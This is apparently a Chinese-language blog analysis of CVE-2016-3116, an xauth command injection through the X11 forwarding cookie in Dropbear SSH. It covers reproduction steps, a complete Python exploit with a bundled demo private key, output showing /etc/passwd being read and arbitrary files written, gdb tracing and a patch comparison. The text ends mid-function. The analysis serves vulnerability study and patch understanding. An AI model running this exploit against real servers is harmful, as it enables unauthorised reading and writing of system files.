CVE-2016-3116 Dropbear注入漏洞分析
- 2019 年 11 月 11 日
- 筆記
漏洞簡述
Dropbear是一個相對較小的SSH伺服器和客戶端。開源,在無線路由器等嵌入式linux系統中使用較多。
X11是一個用於圖形顯示的協議,用於滿足在命令行使用的情況下對圖形介面的需求。開啟X11服務,需要在ssh配置中需要開啟X11Forwarding選項(本選項在dropbear中默認開啟)。
本漏洞的成功觸發需要認證許可權,並且要求伺服器dropbear配置中X11Forwarding yes開啟。漏洞產生的原因是因為沒有對用戶輸入做足夠的檢查,導致用戶在cookie中可以輸入換行符,進而可以注入xauth命令,通過精心構造特殊的數據包,攻擊者可以在一定限制下,讀寫任意文件泄漏關鍵資訊或者對其它主機進行探測。
漏洞影響的版本:<= 2015.71 (基本上所有開啟了x11forward的版本都適用; v0.44 ~11 years)
漏洞復現
編譯dropbear
測試版本:dropbear-2015.71 伺服器版本:ubuntu 16.04
在官網(https://matt.ucc.asn.au/dropbear/releases/)下載dropbear-2015.71.tar.bz2,解壓後執行以下命令:
$ cd dropbear-2015.71$ ./configure --prefix=/usr/local/dropbear/ --sysconfdir=/etc/dropbear/$ make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"$ sudo make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" install
另外還需要創建一個用來存儲dropbear配置文件的目錄:
$ mkdir /etc/dropbear
然後啟動dropbear即可(X11 forward默認開啟):
$ sudo ./dropbear -R -F -E -p 2222
在客戶端主機中嘗試使用ssh連接,可以連接成果,則表明編譯成功。
運行exp結果
在伺服器2222埠開啟dropbear,嘗試運行exp:
$ python CVE-2016-3116_exp.py 192.168.5.171 2222 island passwd
成功連接後可以獲取路徑資訊以及任意文件讀寫操作:
資訊讀取:
#> .infoDEBUG:__main__:auth_cookie: 'ninfo'DEBUG:__main__:dummy exec returned: NoneINFO:__main__:Authority file: /home/island/.XauthorityFile new: noFile locked: noNumber of entries: 2Changes honored: yesChanges made: noCurrent input: (stdin):2/usr/bin/xauth: (stdin):1: bad "add" command line
任意文件讀:
#> .readfile /etc/passwdDEBUG:__main__:auth_cookie: 'xxxxnsource /etc/passwdn'DEBUG:__main__:dummy exec returned: NoneINFO:__main__:root:x:0:0:root:/root:/bin/zshdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologin
任意文件寫:
#> .writefile /tmp/testfile1 `thisisatestfile`DEBUG:__main__:auth_cookie: 'nadd 127.0.0.250:65500 `thisisatestfile` aa'DEBUG:__main__:dummy exec returned: NoneDEBUG:__main__:auth_cookie: 'nextract /tmp/testfile1 127.0.0.250:65500'DEBUG:__main__:dummy exec returned: NoneDEBUG:__main__:/usr/bin/xauth: (stdin):1: bad "add" command line
在linux中查看:
$ cat /tmp/testfile1�6550testtest��65500`thisisatestfile`��65500sssss�%
可以看出寫入成功
此處附上exp:
#!/usr/bin/env python# -*- coding: UTF-8 -*-# Author : <github.com/tintinweb>################################################################################# FOR DEMONSTRATION PURPOSES ONLY!################################################################################import loggingimport StringIOimport sysimport osLOGGER = logging.getLogger(__name__)try: import paramikoexcept ImportError, ie: logging.exception(ie) logging.warning("Please install python-paramiko: pip install paramiko / easy_install paramiko / <distro_pkgmgr> install python-paramiko") sys.exit(1)class SSHX11fwdExploit(object): def __init__(self, hostname, username, password, port=22, timeout=0.5, pkey=None, pkey_pass=None): self.ssh = paramiko.SSHClient() self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) if pkey: pkey = paramiko.RSAKey.from_private_key(StringIO.StringIO(pkey),pkey_pass) self.ssh.connect(hostname=hostname, port=port, username=username, password=password, timeout=timeout, banner_timeout=timeout, look_for_keys=False, pkey=pkey) def exploit(self, cmd="xxxxn?nsource /etc/passwdn"): transport = self.ssh.get_transport() session = transport.open_session() LOGGER.debug("auth_cookie: %s"%repr(cmd)) session.request_x11(auth_cookie=cmd) LOGGER.debug("dummy exec returned: %s"%session.exec_command("")) transport.accept(0.5) session.recv_exit_status() # block until exit code is ready stdout, stderr = [],[] while session.recv_ready(): stdout.append(session.recv(4096)) while session.recv_stderr_ready(): stderr.append(session.recv_stderr(4096)) session.close() return ''.join(stdout)+''.join(stderr) # catch stdout, stderr def exploit_fwd_readfile(self, path): data = self.exploit("xxxxnsource %sn"%path) if "unable to open file" in data: raise IOError(data) ret = [] for line in data.split('n'): st = line.split('unknown command "',1) if len(st)==2: ret.append(st[1].strip(' "')) return 'n'.join(ret) def exploit_fwd_write_(self, path, data): ''' adds display with protocolname containing userdata. badchars=<space> ''' dummy_dispname = "127.0.0.250:65500" ret = self.exploit('nadd %s %s aa'%(dummy_dispname, data)) if ret.count('bad "add" command line')>1: raise Exception("could not store data most likely due to bad chars (no spaces, quotes): %s"%repr(data)) LOGGER.debug(self.exploit('nextract %s %s'%(path,dummy_dispname))) return pathdemo_authorized_keys = '''#PUBKEY line - force commands: only allow "whoami"#cat /home/user/.ssh/authorized_keyscommand="whoami" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1RpYKrvPkIzvAYfX/ZeU1UzLuCVWBgJUeN/wFRmj4XKl0Pr31I+7ToJnd7S9JTHkrGVDu+BToK0f2dCWLnegzLbblr9FQYSif9rHNW3BOkydUuqc8sRSf3M9oKPDCmD8GuGvn40dzdub+78seYqsSDoiPJaywTXp7G6EDcb9N55341o3MpHeNUuuZeiFz12nnuNgE8tknk1KiOx3bsuN1aer8+iTHC+RA6s4+SFOd77sZG2xTrydbl***MxJvhumCqxSwhjQgiwpzWd/NTGie9xeaH5EBIh98sLMDQ51DIntSs+FMvDx1U4rZ73OwliU5hQDobeufOr2w2ap7td15 user@box''' PRIVKEY = """-----BEGIN RSA PRIVATE KEY-----MIIEowIBAAKCAQEAtUaWCq7z5CM7wGH1/2XlNVMy7glVgYCVHjf8BUZo+FypdD699SPu06CZ3e0vSUx5KxlQ7vgU6CtH9nQli53oMy225a/RUGEon/axzVtwTpMnVLqnPLEUn9zPaCjwwpg/Brhr5+NHc3bm/u/LHmKrEg6IjyWssE16exuhA3G/Teed+NaNzKR3jVLrmXohc9dp57jYBPLZJ5NSojsd27LjdWnq/PokxwvkQOrOPkhTne+7GRtsU68nW5a99jMSb4bpgqsUsIY0IIsKc1nfzUxonvcXmh+RASIffLCzA0OdQyJ7UrPhTLw8dVOK2e9zsJYlOYUA6G3rnzq9sNmqe7XdeQIDAQABAoIBAHu5M4sTIc8h5RRHSBkKuMgOgwJISJ3c3uoDF/WZuudYhyeZ8xivb7/tK1d3HQEQOtsZqk2P8OUNNU6Ws1F5cxQLLXvS5i/QQGP9ghlBQYO/l+aShrY7vnHlyYGz/68xLkMt+CgKzaeXDc4OaDnS6iOm27mn4xdpqiEAGIM7TXCjcPSQ4l8YPxaj84rHBcD4w033Sdzc7i73UUneeuQL7bBz5xNibOIFPY3h4q6fbw4bJtPBzAB8c7/qYhJ5P3czGxtqhSqQRogK8T6TA7fGezF90krTGOAz5zJGV+F7+q0L9pIR+uOg+OBFBBmgM5sKRNl8pyrBq/957JaArhSB0QECgYEA1604IXr4CzAa7tKj+FqNdNJI6jEfp99EE8OIHUExTs57SaouSjheDDpBRSTX96+EpRnUSbJFnXZn1S9cZfT8i80kSoM1xvHgjwMNqhBTo+sYWVQrfBmjbDVVbTozREaMQezgHl+Tn6G1OuDz5nEnu+7gm1Ud07BFLqi8Ssbhu2kCgYEA1yrcKPIAIVPZfALngqT6fpX6P7zHWdOO/Uw+PoDCJtI2qljpXHXrcI4ZlOjBp1fcpBC92Q0TNUfra8m3LGbWfqM23gTaqLmVSZSmcM8OVuKuJ38wcMcNG+7DevGYuELXbOgYnimhjY+3+SXFWIHAtkJKAwZbPO7p857nMcbBH5ECgYBnCdx9MlB6l9rmKkAoEKrwGt629A0ZmHLftlS7FUBHVCJWiTVgRBm6YcJ5FCcRsAsBDZv8MW1M0xq8IMpV83sMF0+1QYZZq4kLCfxnOTGcaF7TnoC/40fOFJThgCKqBcJQZKiWGjde1lTM8lfTyk+fW3p2+20qi1Yh+n8qgmWpsQKBgQCESNF6Su5Rjx+S4qY65/spgEOOlB1r2Gl8yTcrbjXvcCYzrN4r/kN1u6d2qXMF0zrPk4tkumkoxMK0ThvTrJYK3YWKEinsucxSpJV/nY0PVeYEWmoJrBcfKTf9ijN+dXnEdx1LgATW55kQEGy38W3tn+uo2GuXlrs3EGbLb4qkQQKBgF2XUv9umKYiwwhBPneEhTplQgDcVpWdxkO4sZdzww+y4SHifxVRzNmXAo8bTPte9nDf+PhgPiWIktaBARZVM2C2yrKHETDqCfme5WQKzC8c9vSf91DSJ4aVpryt5Ae9gUOCx+d7W2EU7RIn9p6YDopZSeDuU395nxisfyR1bjlv-----END RSA PRIVATE KEY-----"""if __name__=="__main__": logging.basicConfig(loglevel=logging.DEBUG) LOGGER.setLevel(logging.DEBUG) if not len(sys.argv)>4: print """ Usage: <host> <port> <username> <password or path_to_privkey> path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key""" sys.exit(1) hostname, port, username, password = sys.argv[1:] port = int(port) pkey = None if os.path.isfile(password): password = None with open(password,'r') as f: pkey = f.read() elif password==".demoprivkey": pkey = PRIVKEY password = None LOGGER.info("add this line to your authorized_keys file: n%s"%demo_authorized_keys) LOGGER.info("connecting to: %s:%s@%s:%s"%(username,password if not pkey else "<PKEY>", hostname, port)) ex = SSHX11fwdExploit(hostname, port=port, username=username, password=password, pkey=pkey, timeout=10 ) LOGGER.info("connected!") LOGGER.info ("""Available commands: .info .readfile <path> .writefile <path> <data> .exit .quit <any xauth command or type help>""") while True: cmd = raw_input("#> ").strip() if cmd.lower().startswith(".exit") or cmd.lower().startswith(".quit"): break elif cmd.lower().startswith(".info"): LOGGER.info(ex.exploit("ninfo")) elif cmd.lower().startswith(".readfile"): LOGGER.info(ex.exploit_fwd_readfile(cmd.split(" ",1)[1])) elif cmd.lower().startswith(".writefile"): parts = cmd.split(" ") LOGGER.info(ex.exploit_fwd_write_(parts[1],' '.join(parts[2:]))) else: LOGGER.info(ex.exploit('n%s'%cmd))# just playing around #print ex.exploit_fwd_readfile("/etc/passwd") #print ex.exploit("ninfo") #print ex.exploit("ngenerate <ip>:600<port> .") # generate <ip>:port port=port+6000 #print ex.exploit("nlist") #print ex.exploit("nnlist") #print ex.exploit('nadd xx xx "n') #print ex.exploit('ngenerate :0 . data "') #print ex.exploit('n?n') #print ex.exploit_fwd_readfile("/etc/passwd") #print ex.exploit_fwd_write_("/tmp/somefile", data="`whoami`") LOGGER.info("--quit--")
漏洞分析
源碼分析
根據*息,在處理X11請求中,會進入x11req針對X11 請求進行預處理,將cookie存儲在chansess`中:
/* called as a request for a session channel, sets up listening X11 *//* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */int x11req(struct ChanSess * chansess) { ..... chansess->x11singleconn = buf_getbool(ses.payload);chansess->x11authprot = buf_getstring(ses.payload, NULL);chansess->x11authcookie = buf_getstring(ses.payload, NULL);chansess->x11screennum = buf_getint(ses.payload); .....}
然後又會調用到x11setauth()函數:
#ifndef XAUTH_COMMAND#define XAUTH_COMMAND "/usr/bin/xauth -q"#endif/* This is called after switching to the user, and sets up the xauth * and environment variables. */void x11setauth(struct ChanSess *chansess) {...../* popen is a nice function - code is strongly based on OpenSSH's */authprog = popen(XAUTH_COMMAND, "w");if (authprog) {fprintf(authprog, "add %s %s %sn",display, chansess->x11authprot, chansess->x11authcookie);pclose(authprog);} else {fprintf(stderr, "Failed to run %sn", AUTH_COMMAND);}.....}
在x11setauth中,會調用popen執行/usr/bin/xauth -q,並將chansess中存儲的cookie作為參數,此處參數沒有對換行符等進行過濾,因此可以針對xauth的參數進行注入。
查看xauth的參數解析,發現我們感興趣的主要是以下幾個命令:
info - 泄漏一些路徑資訊$ xauth infoAuthority file: /home/island/.XauthorityFile new: noFile locked: noNumber of entries: 6Changes honored: yesChanges made: noCurrent input: (argv):1source - 任意文件讀 (在第一個空格處截斷)# xauth source /etc/shadowxauth: file /root/.Xauthority does not existxauth: /etc/shadow:1: unknown command "smithj:Ep6mckrOLChF.:10063:0:99999:7:::"extract - 任意文件寫 對特定字元有先知 寫入的文件是xauth.db格式 可以與`xauth add`命令結合,而將文件寫在任意路徑下 generate - 連接 <ip>:<port> 可用於埠檢測
通過以上命令,雖然有一些程度限制,但是基本可以做到任意文件讀寫以及埠檢測。
動態調試
為了更直觀了解,使用gdb調試:
$ sudo gdb-multiarch dropbeargef➤ set args -R -F -E -p 2222gef➤ b x11reqBreakpoint 1 at 0x41357fgef➤ b x11setauthBreakpoint 2 at 0x413732gef➤ set follow-fork-mode childgef➤ rStarting program: /home/island/work/soft/dropbear-2015.71/dropbear -R -F -E -p 2222[39700] Oct 24 10:23:47 Not backgrounding
在另一台機器運行exp:
$ python CVE-2016-3116_exp.py 192.168.5.171 2222 island pwsswd#> .readfile /etc/passwd
在調試機器中,將斷點下在buf_getstring,第二次觸發斷點並返回時,查看返回值:
gef➤ x /s $rax 0x637f40: "xxxxnsource /etc/passwdn"
發現chansess->x11authcookie的值正是exp中輸入的帶有換行符的cookie值
再繼續運行,運行到x11setauth中
將斷點下載popen中:
gef➤ b popenBreakpoint 4 at 0x7ffff7427600: file iopopen.c, line 273.gef➤ cContinuing.Thread 4.1 "dropbear" hit Breakpoint 4, _IO_new_popen (command=0x422947 "/usr/bin/xauth -q", mode=0x4208ca "w") at iopopen.c:273
可以看到已經斷下來,開始運行/usr/bin/xauth -q命令
後面便會將我們傳入的cookie參數傳遞給xauth,由於換行符未進行過濾,因此可以針對xauth進行命令注入。
修補程式對比
下載dropbear 2016.74源碼,與有漏洞比較
dropbear 2016.74 NotVulnable:
/* called as a request for a session channel, sets up listening X11 *//* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */int x11req(struct ChanSess * chansess) {.....chansess->x11singleconn = buf_getbool(ses.payload);chansess->x11authprot = buf_getstring(ses.payload, NULL);chansess->x11authcookie = buf_getstring(ses.payload, NULL);chansess->x11screennum = buf_getint(ses.payload);if (xauth_valid_string(chansess->x11authprot) == DROPBEAR_FAILURE ||xauth_valid_string(chansess->x11authcookie) == DROPBEAR_FAILURE) {dropbear_log(LOG_WARNING, "Bad xauth request");goto fail;} fd = socket(PF_INET, SOCK_STREAM, 0);if (fd < 0) {goto fail;}.....}
dropbear-2015.71 Vulnable:
/* called as a request for a session channel, sets up listening X11 *//* returns DROPBEAR_SUCCESS or DROPBEAR_FAILURE */int x11req(struct ChanSess * chansess) { ..... chansess->x11singleconn = buf_getbool(ses.payload);chansess->x11authprot = buf_getstring(ses.payload, NULL);chansess->x11authcookie = buf_getstring(ses.payload, NULL);chansess->x11screennum = buf_getint(ses.payload); fd = socket(PF_INET, SOCK_STREAM, 0);if (fd < 0) {goto fail;} .....}
可以看出,新版本在獲取到用戶的輸入後將cookie傳入xauth_valid_string進行了檢驗
/* Check untrusted xauth strings for metacharacters *//* Returns DROPBEAR_SUCCESS/DROPBEAR_FAILURE */static intxauth_valid_string(const char *s){size_t i;for (i = 0; s[i] != '